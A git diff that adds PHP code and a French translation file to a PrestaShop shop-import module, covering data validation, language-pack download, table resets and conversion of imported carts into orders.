!= 0'); + $category = new Category(); + $cats = $category->getSimpleCategories((int)Configuration::get('PS_LANG_DEFAULT')); + foreach($cats as $cat) + { + $cat = new Category((int)$cat['id_category']); + $cat->level_depth = $cat->calcLevelDepth(); + $cat->update(); + } + } + + private function getForeignKey($className, $foreign_key = null) + { + $moduleName = Tools::getValue('moduleName'); + if (is_null($foreign_key)) + $foreign_key = $this->supportedImports[$className]['foreign_key']; + $match = array(); + foreach($foreign_key AS $key) + { + if (in_array($key , array('id_address_invoice', 'id_address_delivery'))) + $key2 = 'id_address'; + elseif (in_array($key , array('id_category_default'))) + $key2 = 'id_category'; + else + $key2 = $key; + foreach($this->supportedImports AS $table => $conf) + if ($conf['identifier'] == $key2) + $from = $this->supportedImports[$table]['table']; + $return = Db::getInstance()->executeS('SELECT `'.bqSQL($key2).'_'.bqSQL($moduleName).'`, `'.bqSQL($key2).'` FROM `'._DB_PREFIX_.bqSQL($from).'` WHERE `'.bqSQL($key2).'_'.bqSQL($moduleName).'` != 0'); + if (!empty($return)) + foreach($return AS $name => $val) + $match[$key][$val[$key2.'_'.$moduleName]] = $val[$key2]; + } + return $match; + } + + private function getForeignKeyLang($table) + { + $id = $this->supportedImports[$table]['identifier']; + $moduleName = Tools::getValue('moduleName'); + $return = Db::getInstance()->executeS('SELECT `'.bqSQL($id).'_'.bqSQL($moduleName).'`, `'.bqSQL($id).'` FROM `'._DB_PREFIX_.bqSQL($table).'` WHERE `'.bqSQL($id).'_'.bqSQL($moduleName).'` != 0'); + $match = array(); + foreach($return AS $name => $val) + $match[$val[$id.'_'.$moduleName]] = $val[$id]; + return $match; + } + + private function getMatchIdLang($order = 1) + { + $moduleName = Tools::getValue('moduleName'); + $return = Db::getInstance()->executeS('SELECT `id_lang`, `id_lang_'.bqSQL($moduleName).'` FROM `'._DB_PREFIX_.'lang'.'` WHERE `id_lang_'.bqSQL($moduleName).'` != 0'); + $match = array(); + foreach($return AS $name => $val) + if ((bool)$order) + $match[$val['id_lang_'.$moduleName]] = $val['id_lang']; + else + $match[$val['id_lang']] = $val['id_lang_'.$moduleName]; + return $match; + } + + + private function validateRules($rules, &$fields, $className, $languages, $defaultLanguage) + { + $returnErrors = array(); + $hasErrors = Tools::getValue('hasErrors'); + /* Checking for required fields */ + foreach ($rules['required'] AS $field) + if (($value = $fields[$field]) == false AND (string)$value != '0') + if ($hasErrors == 2) + { + if (array_key_exists($field, $rules['size'])) + $size = $rules['size'][$field]; + else + $size = 1; + $fields[$field] = $this->generateData($size, $rules['validate'][$field]); + } + else + $returnErrors[] = sprintf( + $this->l('The field %s is required.'), + call_user_func(array($className, 'displayFieldName'), $field, $className) + ); + + /* Checking for maximum fields sizes */ + foreach ($rules['size'] AS $field => $maxLength) + if (array_key_exists($field, $fields) AND $field != 'passwd') + if ($fields[$field] !== false AND Tools::strlen($fields[$field]) > $maxLength) + if ($hasErrors == 2) + $fields[$field] = substr($fields[$field], 0, $maxLength); + else + $returnErrors[] = sprintf( + $this->l('The field %1$s is too long (%2$d chars max).'), + call_user_func(array($className, 'displayFieldName'), $field, $className), + $maxLength + ); + + /* Checking for fields validity */ + foreach ($rules['validate'] AS $field => $function) + if (array_key_exists($field, $fields)) + if (($value = $fields[$field]) !== false AND ($field != 'passwd')) + if (!Validate::$function($value)) + if ($hasErrors == 2) + { + if (array_key_exists($field, $rules['size'])) + $size = $rules['size'][$field]; + else + $size = 1; + $fields[$field] = $this->generateData($size, $rules['validate'][$field]); + } + else + $returnErrors[] = sprintf( + $this->l('The field %s is invalid.'), + call_user_func(array($className, 'displayFieldName'), $field, $className) + ); + + if ((sizeof($rules['requiredLang']) || sizeof($rules['sizeLang']) || sizeof($rules['validateLang']))) + { + $matchIdLang = $this->getMatchIdLang(0); + /* Checking for multilingual required fields */ + foreach ($rules['requiredLang'] AS $fieldLang) + { + if (($empty = $fields[$fieldLang][$matchIdLang[$defaultLanguage->id]]) === false || empty($empty)) + if ($hasErrors == 2) + { + if (array_key_exists($fieldLang, $rules['sizeLang'])) + $size = $rules['sizeLang'][$fieldLang]; + else + $size = 1; + $fields[$fieldLang][$matchIdLang[$defaultLanguage->id]] = $this->generateData($size, $rules['validateLang'][$fieldLang]); + } + else + $returnErrors[] = sprintf( + $this->l('This field %1$s is required at least in %2$s'), + call_user_func(array($className, 'displayFieldName'), $fieldLang, $className), + $defaultLanguage->name + ); + } + /* Checking for maximum multilingual fields size */ + foreach ($rules['sizeLang'] AS $fieldLang => $maxLength) + foreach ($languages AS $language) + if (isset($fields[$fieldLang][$language['id_lang']]) && $fields[$fieldLang] !== false AND Tools::strlen($fields[$fieldLang][$language['id_lang']]) > $maxLength) + if ($hasErrors == 2) + $fields[$fieldLang] = substr($fields[$fieldLang], 0, $maxLength); + else + $returnErrors[] = sprintf( + $this->l('This field %1$s (%2$s) is too long: %3$d chars max.'), + call_user_func(array($className, 'displayFieldName'), $fieldLang, $className), + $language['name'], + $maxLength + ); + foreach ($rules['validateLang'] AS $fieldLang => $function) + { + foreach ($languages AS $language) + { + if (array_key_exists($fieldLang, $fields) AND array_key_exists($language['id_lang'], $fields[$fieldLang]) AND ($value = $fields[$fieldLang][$language['id_lang']]) !== false AND !empty($value)) + { + if (!Validate::$function($value)) + if ($hasErrors == 2) + { + if (array_key_exists($fieldLang, $rules['sizeLang'])) + $size = $rules['sizeLang'][$fieldLang]; + else + $size = 1; + $fields[$fieldLang][$language['id_lang']] = $this->generateData($size, $rules['validateLang'][$fieldLang]); + } + else + $returnErrors[] = sprintf( + $this->l('The field %1$s (%2$s) is invalid.'), + call_user_func(array($className, 'displayFieldName'), $fieldLang, $className), + $language['name'] + ); + } + } + } + } + return $returnErrors; + } + + private function validateRulesWS($rules, &$fields, $className, $languages, $defaultLanguage) + { + $returnErrors = array(); + $hasErrors = Tools::getValue('hasErrors'); + /* Checking for required fields */ + foreach ($rules['required'] AS $field) + if (($value = $fields[$field]) == false AND (string)$value != '0') + if ($hasErrors == 2) + { + if (array_key_exists($field, $rules['size'])) + $size = $rules['size'][$field]; + else + $size = 1; + $fields[$field] = $this->generateData($size, $rules['validate'][$field]); + } + else + $returnErrors[] = sprintf( + $this->l('The field %s is required.'), + call_user_func(array($className, 'displayFieldName'), $field, $className) + ); + + /* Checking for maximum fields sizes */ + foreach ($rules['size'] AS $field => $maxLength) + if (array_key_exists($field, $fields) AND $field != 'passwd') + if ($fields[$field] !== false AND Tools::strlen($fields[$field]) > $maxLength) + if ($hasErrors == 2) + $fields[$field] = substr($fields[$field], 0, $maxLength); + else + $returnErrors[] = sprintf( + $this->l('The field %1$s is too long (%2$d chars max).'), + call_user_func(array($className, 'displayFieldName'), $field, $className), + $maxLength + ); + + /* Checking for fields validity */ + foreach ($rules['validate'] AS $field => $function) + if (array_key_exists($field, $fields)) + if (($value = $fields[$field]) !== false AND ($field != 'passwd')) + if (!Validate::$function($value)) + if ($hasErrors == 2) + { + if (array_key_exists($field, $rules['size'])) + $size = $rules['size'][$field]; + else + $size = 1; + $fields[$field] = $this->generateData($size, $rules['validate'][$field]); + } + else + $returnErrors[] = sprintf( + $this->l('The field %s is invalid.'), + call_user_func(array($className, 'displayFieldName'), $field, $className) + ); + + return $returnErrors; + } + public function checkAndAddLang ($languages, $add = true) + { + $errors = ''; + $moduleName = Tools::getValue('moduleName'); + $this->alterTable('language'); + foreach($languages as $language) + { + $iso = $language['iso_code']; + if (!Language::isInstalled($iso)) + { + if ($add) + { + if (@fsockopen('www.prestashop.com', 80)) + { + if ($lang_pack = Tools::jsonDecode(Tools::file_get_contents('http://www.prestashop.com/download/lang_packs/get_language_pack.php?version='._PS_VERSION_.'&iso_lang='.$iso))) + { + if ($content = Tools::file_get_contents('http://www.prestashop.com/download/lang_packs/gzip/'.$lang_pack->version.'/'.$iso.'.gzip')) + { + $file = _PS_TRANSLATIONS_DIR_.$iso.'.gzip'; + if (file_put_contents($file, $content)) + { + require_once('../../tools/tar/Archive_Tar.php'); + $gz = new Archive_Tar($file, true); + if ($gz->extract(_PS_TRANSLATIONS_DIR_.'../', false)) + { + if (!Language::checkAndAddLanguage($iso)) + $errors[] = $this->l('Archive cannot be extracted.'); + else + { + $newId = Language::getIdByIso($iso); + Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'lang` + SET `id_lang_'.bqSQL($moduleName).'` = '.(int)$language['id_lang'].' + WHERE `id_lang` = '.(int)$newId); + } + } + $errors[] = $this->l('Archive cannot be extracted.'); + } + else + $errors[] = $this->l('Server does not have permissions for writing.'); + } + else + $errors[] = $this->l('Language not found'); + } + else + $errors[] = $this->l('archive cannot be downloaded from prestashop.com.'); + } + else + $errors[] = $this->l('archive cannot be downloaded from prestashop.com.'); + } + } + else + { + $newId = Language::getIdByIso($iso); + Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'lang` + SET `id_lang_'.bqSQL($moduleName).'` = '.(int)$language['id_lang'].' + WHERE `id_lang` = '.(int)$newId); + } + } + } + + public function truncateTable($table) + { + switch ($table) + { + case 'customer' : + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'customer'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'customer_group'); + break; + case 'address' : + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'address'); + break; + case 'country' : + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'state'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'country'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'country_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'country'); + case 'group' : + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'customer_group'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'group_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'group'); + break; + case 'combination' : + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_shop'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_combination'); + break; + case 'category' : + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'category` WHERE id_category != 1'); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'category_lang` WHERE id_category != 1'); + Db::getInstance()->execute('ALTER TABLE `'._DB_PREFIX_.'category` AUTO_INCREMENT = 2 '); + foreach (scandir(_PS_CAT_IMG_DIR_) AS $d) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $d)) + unlink(_PS_CAT_IMG_DIR_.$d); + Image::clearTmpDir(); + break; + case 'product' : + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_shop'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'feature_product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'category_product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_tag'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'image'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'image_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_shop'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_combination'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'specific_price'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'specific_price_priority'); + + Image::deleteAllImages(_PS_PROD_IMG_DIR_); + Image::clearTmpDir(); + @mkdir(_PS_PROD_IMG_DIR_); + break; + case 'manufacturer' : + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'manufacturer'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'manufacturer_lang'); + foreach (scandir(_PS_MANU_IMG_DIR_) AS $d) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $d)) + unlink(_PS_MANU_IMG_DIR_.$d); + Image::clearTmpDir(); + break; + case 'Suppliers' : + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'supplier'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'supplier_lang'); + foreach (scandir(_PS_SUPP_IMG_DIR_) AS $d) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $d)) + unlink(_PS_SUPP_IMG_DIR_.$d); + Image::clearTmpDir(); + break; + case 'attribute' : + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_lang'); + break; + case 'attributegroup' : + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_group'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_group_lang'); + break; + case 'currency' : + case 'customer' : + case 'zone' : + case 'state' : + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.bqSQL($table).'`'); + break; + } + return true; + } + + public function cleanPositions($table, $shopList = null) + { + if ($table == 'category') + { + //clean category position + $cat = Category::getCategories(1, false, false); + foreach($cat AS $i => $categ) + Category::cleanPositions((int)($categ['id_category'])); + } + if ($table == 'product') + { + //clean products position + $cat = Category::getCategories(1, false, false); + foreach($cat AS $i => $categ) + Product::cleanPositions((int)($categ['id_category'])); + } + } + + public function getDefaultIdLang() + { + return; + } + + private function generateData($size = 1, $type) + { + $type = str_replace('is', '', $type); + $dom = array('com', 'net', 'org', 'biz', 'info'); + $alphaNum = '0123456789abcdefghijklmnopqrstuvwxyz'; + $alpha = 'abcdefghijklmnopqrstuvwxyz'; + $num = '0123456789'; + $return = ''; + switch($type) + { + case 'CityName': + case 'Name': + case 'GenericName': + case 'CatalogName': + case 'Address': + case 'LinkRewrite': + case 'String': + $a = mt_rand($size/2, $size); + for ($i = 1; $i <= $a; $i++) + $return .= substr($alpha, mt_rand(0, strlen($alpha)), 1); + break; + case 'LanguageIsoCode': + for ($i = 1; $i <= 2; $i++) + $return .= substr($alpha, mt_rand(0, strlen($alpha)), 1); + break; + case 'LanguageCode': + for ($i = 1; $i <= 2; $i++) + $return .= substr($alphaNum, mt_rand(0, strlen($alphaNum)), 1); + $return .= '-'; + for ($i = 1; $i <= 2; $i++) + $return .= substr($alphaNum, mt_rand(0, strlen($alphaNum)), 1); + break; + case 'Bool': + $return .= mt_rand(0,1); + break; + case 'Int': + case 'UnsignedId': + case 'NumericIsoCode': + case 'PhoneNumber': + case 'PostCode': + $a = mt_rand($size/2, $size); + for ($i = 1; $i <= $a; $i++) + $return .= substr($num, mt_rand(0, strlen($num)), 1); + break; + case 'Price': + case 'Float': + $a = mt_rand(4, 10); + $b = mt_rand(4, 10); + for ($i = 1; $i <= $a; $i++) + $return .= substr($alphaNum, mt_rand(0, strlen($alphaNum)), 1); + $return .= '-'; + for ($i = 1; $i <= $b; $i++) + $return .= substr($alphaNum, mt_rand(0, strlen($alphaNum)), 1); + $return .= '.'.$dom[mt_rand(0, (sizeof($dom)-1))]; + break; + case 'ZipCodeFormat'; + $str = 'NLC -'; + $a = mt_rand($size/2, $size); + for ($i = 1; $i <= $a; $i++) + $return .= substr($str, mt_rand(0, strlen($str)), 1); + break; + case 'StateIsoCode'; + + break; + case 'Email': + $a = mt_rand(4, 10); + $b = mt_rand(4, 10); + for ($i = 1; $i <= $a; $i++) + $return .= substr($alphaNum, mt_rand(0, strlen($alphaNum)), 1); + $return .= '@'; + for ($i = 1; $i <= $b; $i++) + $return .= substr($alphaNum, mt_rand(0, strlen($alphaNum)), 1); + $return .= '.'.$dom[mt_rand(0, (sizeof($dom)-1))]; + break; + case 'Passwd': + $a = mt_rand($size/2, $size); + for ($i = 1; $i <= $a; $i++) + $return .= substr($alphaNum, mt_rand(0, strlen($alphaNum)), 1); + break; + case 'BirthDate': + $return .= '1970-01-01 00:00:00'; + break; + } + return $return; + } + + private function cartToOrder($items, $foreignKey) + { + $this->alterTable('order'); + foreach($items as $item) + { + $order = new Order(); + $order->id_carrier = (int)$item['id_carrier']; + $order->id_customer = (int)$foreignKey['id_customer'][$item['id_customer']]; + $order->id_address_invoice = (int)$foreignKey['id_address_invoice'][$item['id_address_invoice']]; + $order->id_address_delivery = (int)$foreignKey['id_address_delivery'][$item['id_address_delivery']]; + + $vat_address = new Address((int)$foreignKey['id_address_delivery'][$item['id_address_delivery']]); + $id_zone = Address::getZoneById((int)$vat_address->id); + $order->id_currency = (int)$item['id_currency']; + $order->id_lang = (int)$item['id_lang']; + $order->id_cart = (int)$foreignKey['id_cart'][$item['id_cart']]; + + $customer = new Customer((int)$order->id_customer); + $order->secure_key = pSQL($customer->secure_key); + if (!strlen(trim($item['payment']))) + $order->payment = 'payment'.Tools::getValue('moduleName'); + else + $order->payment = utf8_encode(html_entity_decode(strip_tags(Tools::substr($item['payment'], 0, 32)))); + if (isset($this->name)) + $order->module = $this->name; + + $carrier = new Carrier((int)$item['id_carrier']); + + $currency = new Currency($order->id_currency); + $order->conversion_rate = !empty($currency->conversion_rate) ? $currency->conversion_rate : 1; + $order->total_products = (float)$item['total_products']; + $order->total_products_wt = (float)$item['total_products_wt']; + $order->total_discounts = (float)$item['total_discounts']; + $order->total_shipping = (float)$item['total_shipping']; + $order->carrier_tax_rate = (float)$carrier->getTaxesRate(new Address((int)$item[Configuration::get('PS_TAX_ADDRESS_TYPE')])); + $order->total_wrapping = (float)$item['total_wrapping']; + $order->total_paid = (float)$item['total_paid']; + $order->total_paid_real = (float)$item['total_paid_real']; + $order->invoice_date = '0000-00-00 00:00:00'; + $order->delivery_date = '0000-00-00 00:00:00'; + if(array_key_exists('date_add', $item)) + $order->date_add = $item['date_add']; + if(array_key_exists('date_upd', $item)) + $order->date_upd = $item['date_upd']; + //test valid paid + if($item['total_paid'] == $item['total_paid_real']) + $order->valid = 1; + else + $order->valid = 0; + $order->save(false, false); + + $this->saveMatchId('order', (int)$order->id, (int)$item['id_cart']); + } + } +} diff --git a/modules/shopimporter/translations/fr.php b/modules/shopimporter/translations/fr.php new file mode 100755 index 0000000..70b3c8f --- /dev/null +++ b/modules/shopimporter/translations/fr.php @@ -0,0 +1,95 @@ +ajax_10f237be40b3205ba97da9b89d290c30'] = 'Impossible de sélectionner la base de données.'; +$_MODULE['<{shopimporter}prestashop>ajax_49bd922182bd3518641589e3077eacd3'] = 'Impossible de se connecter à la base de données.'; +$_MODULE['<{shopimporter}prestashop>shopimporter_d714c742b360a8ecbb124c15e9a391a1'] = 'Import de boutique'; +$_MODULE['<{shopimporter}prestashop>shopimporter_8c0fe18034f47d7d3dd3e58098e3ffdb'] = 'Ce module vous permet d\'importer votre boutique depuis autre système.'; +$_MODULE['<{shopimporter}prestashop>shopimporter_4994a8ffeba4ac3140beb89e8d41f174'] = 'Langues'; +$_MODULE['<{shopimporter}prestashop>shopimporter_a9db6adcdafc85c5830439401fd866f6'] = 'Import des langues'; +$_MODULE['<{shopimporter}prestashop>shopimporter_b8b8ca447e355455b8dc638993c41ae7'] = 'Les nouveaux langages ajouterons automatiquement les traductions'; +$_MODULE['<{shopimporter}prestashop>shopimporter_386c339d37e737a436499d423a77df0c'] = 'Devise'; +$_MODULE['<{shopimporter}prestashop>shopimporter_4234c64201820401dfa04eeb449c1bbc'] = 'Import des devises'; +$_MODULE['<{shopimporter}prestashop>shopimporter_719fec04166d6fa75f89cd29ad61fa8c'] = 'Taxes'; +$_MODULE['<{shopimporter}prestashop>shopimporter_94c5ffc9d364127b232f58b4cfd8c88a'] = 'Importer les taxes'; +$_MODULE['<{shopimporter}prestashop>shopimporter_3c994b8c6c4e8b756185f74ded711f69'] = 'Règle de taxes'; +$_MODULE['<{shopimporter}prestashop>shopimporter_6ec25fc9cc7df7b0d1fce57923f46ec1'] = 'Importer les règles de taxes'; +$_MODULE['<{shopimporter}prestashop>shopimporter_b3ff996fe5c77610359114835baf9b38'] = 'Zone'; +$_MODULE['<{shopimporter}prestashop>shopimporter_21d250d17e35e3e02db9f1a618bad913'] = 'Import des zones'; +$_MODULE['<{shopimporter}prestashop>shopimporter_59716c97497eb9694541f7c3d37b1a4d'] = 'Pays'; +$_MODULE['<{shopimporter}prestashop>shopimporter_13eedcf49d68ce49274db71e63a7aa3d'] = 'Import des pays'; +$_MODULE['<{shopimporter}prestashop>shopimporter_46a2a41cc6e552044816a2d04634545d'] = 'Etats'; +$_MODULE['<{shopimporter}prestashop>shopimporter_118421de3201927a23bf921057e69c4a'] = 'Import des états'; +$_MODULE['<{shopimporter}prestashop>shopimporter_03937134cedab9078be39a77ee3a48a0'] = 'Groupe'; +$_MODULE['<{shopimporter}prestashop>shopimporter_65ac19ad248219902394739bda0cef62'] = 'Import des groupes'; +$_MODULE['<{shopimporter}prestashop>shopimporter_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{shopimporter}prestashop>shopimporter_22c34564e80ce8adab6a235061d277f4'] = 'Import des clients'; +$_MODULE['<{shopimporter}prestashop>shopimporter_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{shopimporter}prestashop>shopimporter_77497d022aeb4cdd78ec394ca8d223b4'] = 'Import des adresses'; +$_MODULE['<{shopimporter}prestashop>shopimporter_c0bd7654d5b278e65f21cf4e9153fdb4'] = 'Fabricant'; +$_MODULE['<{shopimporter}prestashop>shopimporter_ed4cbbbeb3d575ccfeb405ae5c5c4d43'] = 'Import des Fabricants'; +$_MODULE['<{shopimporter}prestashop>shopimporter_ec136b444eede3bc85639fac0dd06229'] = 'Fournisseur'; +$_MODULE['<{shopimporter}prestashop>shopimporter_0ae5f9c75e6a7460ec31e33201576bd9'] = 'Import des Fournisseurs'; +$_MODULE['<{shopimporter}prestashop>shopimporter_3adbdb3ac060038aa0e6e6c138ef9873'] = 'Categorie'; +$_MODULE['<{shopimporter}prestashop>shopimporter_1db7ae20c24e257b6f1a7def365da1ad'] = 'Import des categories'; +$_MODULE['<{shopimporter}prestashop>shopimporter_1f5a36b380c53d7f82e762baa08c2e5c'] = 'Groupe d\'attributs'; +$_MODULE['<{shopimporter}prestashop>shopimporter_7eb915ee907703ede51dabab88fc1701'] = 'Import des groupes d\'attributs'; +$_MODULE['<{shopimporter}prestashop>shopimporter_f2bbdf9f72c085adc4d0404e370f0f4c'] = 'Attribut'; +$_MODULE['<{shopimporter}prestashop>shopimporter_66e2d23b2d257d56af6f1d6443ce0ce3'] = 'Import des attributs'; +$_MODULE['<{shopimporter}prestashop>shopimporter_deb10517653c255364175796ace3553f'] = 'Produit'; +$_MODULE['<{shopimporter}prestashop>shopimporter_4bfc4a7632bae0877b798dbd9efc4f70'] = 'Import des produits'; +$_MODULE['<{shopimporter}prestashop>shopimporter_47ac923d219501859fb68fed8c8db77b'] = 'Déclinaison'; +$_MODULE['<{shopimporter}prestashop>shopimporter_58e2fcec5e04716c627b3e8b9d2955b1'] = 'Import des déclinaisons de produits'; +$_MODULE['<{shopimporter}prestashop>shopimporter_b3df6b363e7979ce81b71d92961fc672'] = 'Statuts de commande'; +$_MODULE['<{shopimporter}prestashop>shopimporter_6b24bd15b10bc10de9687f16ebe728e4'] = 'Import des statuts de commande'; +$_MODULE['<{shopimporter}prestashop>shopimporter_a240fa27925a635b08dc28c9e4f9216d'] = 'Commande'; +$_MODULE['<{shopimporter}prestashop>shopimporter_3b7e768ebab2171baa41d5ea13017b02'] = 'Import des commandes'; +$_MODULE['<{shopimporter}prestashop>shopimporter_782c8b38bce4f2f6975ca7f33ac8189b'] = 'Historique de commande'; +$_MODULE['<{shopimporter}prestashop>shopimporter_f2931b8b1622867fcc461d7de388e319'] = 'Import des historique de commande'; +$_MODULE['<{shopimporter}prestashop>shopimporter_32a6deec3cca312a54d6b8769c9b8dd7'] = 'n\'est pas disponible dans ce module'; +$_MODULE['<{shopimporter}prestashop>shopimporter_1e411d25230ba738b9ae583bcb9b0b57'] = 'Connexion à la base de données OK'; +$_MODULE['<{shopimporter}prestashop>shopimporter_472f0b8c78cc382302e094c94856c951'] = 'La connexion au service Web est OK'; +$_MODULE['<{shopimporter}prestashop>shopimporter_3596c777cbc8b72d678f34daabc9148b'] = 'Afficher les erreurs'; +$_MODULE['<{shopimporter}prestashop>shopimporter_89a399eee52b2a6daaea92eba3e14cad'] = 'Lancer le test d\'import'; +$_MODULE['<{shopimporter}prestashop>shopimporter_bf79359f8edda6f7df97ef57a4ee09b6'] = 'Lancer l\'import'; +$_MODULE['<{shopimporter}prestashop>shopimporter_0b5a6ead644b8ae4edb8a036334c9ed6'] = 'Des erreurs sont survenues lors de l\'importation. Pour plus de détails, cliquer sur \"Afficher les erreurs\"'; +$_MODULE['<{shopimporter}prestashop>shopimporter_e905d0eb5204b761d8c0e3eebed4a0e0'] = 'L\'import est terminé'; +$_MODULE['<{shopimporter}prestashop>shopimporter_596403b61367ca30d6de75812275f9cd'] = 'Suppression des données'; +$_MODULE['<{shopimporter}prestashop>shopimporter_edc186cbc5cc897a79312880ec16c621'] = 'Merci de choisir quelque chose à importer'; +$_MODULE['<{shopimporter}prestashop>shopimporter_81b33153f65252001fe132d74b658fbe'] = 'Importer depuis un autre systeme'; +$_MODULE['<{shopimporter}prestashop>shopimporter_dd4c0c798ebbf8c6e15dcba8632f558d'] = 'Avant de commencer l\'importation merci de faire une sauvegarde de votre base de données.'; +$_MODULE['<{shopimporter}prestashop>shopimporter_60474e812295a5adc371de63dc62a164'] = 'Cliquez ici pour sauvegarder'; +$_MODULE['<{shopimporter}prestashop>shopimporter_05f4be265d59ea66f3a1fb12ba103583'] = 'Choisir un import'; +$_MODULE['<{shopimporter}prestashop>shopimporter_961f2247a2070bedff9f9cd8d64e2650'] = 'Choisir'; +$_MODULE['<{shopimporter}prestashop>shopimporter_151a0fbfcc4894aa53335091c2512de5'] = 'Aucun module d\'import installé'; +$_MODULE['<{shopimporter}prestashop>shopimporter_2bb4cbbf4c51025867d47131e79ad05f'] = 'Etape suivante'; +$_MODULE['<{shopimporter}prestashop>shopimporter_72dd98a453e92ccc01697f29bb5dbeb9'] = 'Option d\'import'; +$_MODULE['<{shopimporter}prestashop>shopimporter_9dfc5d5738312210c3c75e68a468691d'] = 'Options avancées'; +$_MODULE['<{shopimporter}prestashop>shopimporter_c195d4db1be0d349d21f236f0a6400ff'] = 'Ce mode n\'est pas recommandé'; +$_MODULE['<{shopimporter}prestashop>shopimporter_11e9fa925cb444a223769edd53334f13'] = 'Importer par'; +$_MODULE['<{shopimporter}prestashop>shopimporter_70fda5850e8d8946a340c55bf985fd39'] = 'Sélectionnez le nombre d\'occurrences pour chaque requête à l\'importation'; +$_MODULE['<{shopimporter}prestashop>shopimporter_35f178a340d9aa1a080d8cfaf0b57f36'] = 'Si il y a des erreurs'; +$_MODULE['<{shopimporter}prestashop>shopimporter_11a755d598c0c417f9a36758c3da7481'] = 'Stop'; +$_MODULE['<{shopimporter}prestashop>shopimporter_72ef2b9b6965d078e3c7f95487a82d1c'] = 'Sauter'; +$_MODULE['<{shopimporter}prestashop>shopimporter_9eb6b78a99cdb6ffd3d40d18621d9f80'] = 'Forcer'; +$_MODULE['<{shopimporter}prestashop>shopimporter_05d2b3715ac0c697b86799d1989c4aeb'] = 'Stop: s\'il ya des erreurs, l\'importation ne fonctionne pas.'; +$_MODULE['<{shopimporter}prestashop>shopimporter_690c3a7f595050729df99a6d30dd6f96'] = 'Skip: s\'il ya des erreurs, l\'importation va sauter des données incorrectes'; +$_MODULE['<{shopimporter}prestashop>shopimporter_35a6535254a93c5338bff1e3572755d2'] = 'Force: s\'il ya des erreurs, l\'importation remplacera les données incorrectes par des données génériques.'; +$_MODULE['<{shopimporter}prestashop>shopimporter_09b4382d10c396e0c4fcd51064702213'] = 'Options spécifiques'; +$_MODULE['<{shopimporter}prestashop>shopimporter_044a8ce60a6c5a464e7a7f78698fc05d'] = 'La langue par défaut ne correspond pas à :'; +$_MODULE['<{shopimporter}prestashop>shopimporter_807079d19357b6d44089c220f74cc2d0'] = 'Merci de changer la langue par défaut dans votre configuration'; +$_MODULE['<{shopimporter}prestashop>shopimporter_29361e9c6917fb14b43d3e78e2811e56'] = 'La devise par défaut ne correspond pas à:'; +$_MODULE['<{shopimporter}prestashop>shopimporter_6117c4d73fcf0c20fe3946f1d00dde85'] = 'Merci de changer la devise par défaut dans votre configuration'; +$_MODULE['<{shopimporter}prestashop>shopimporter_8136c99d09cb6e9f0f998dd231fff6ed'] = 'Une erreur s\'est produite lors de l\'ajout de l\'objet'; +$_MODULE['<{shopimporter}prestashop>shopimporter_2deae2efe4b65df80c188a31fed3cc17'] = 'Le champ %s est requis'; +$_MODULE['<{shopimporter}prestashop>shopimporter_1086ee44ab3d66a33d23308e942067e0'] = 'Le champ %1$s est trop grand (%2$d caratères maximum).'; +$_MODULE['<{shopimporter}prestashop>shopimporter_3d2496e596f4cbc8045e689d94f77cbd'] = 'Le champ %s est invalide.'; +$_MODULE['<{shopimporter}prestashop>shopimporter_c662307430c97af94e120201c8d56c66'] = 'Le champ %1$s est requis au moins en %2$s'; +$_MODULE['<{shopimporter}prestashop>shopimporter_25d42a115ce1c8390ba062cbc958deb3'] = 'Le champ %1$s (%2$s) est trop long : %3$d caratères maximum.'; 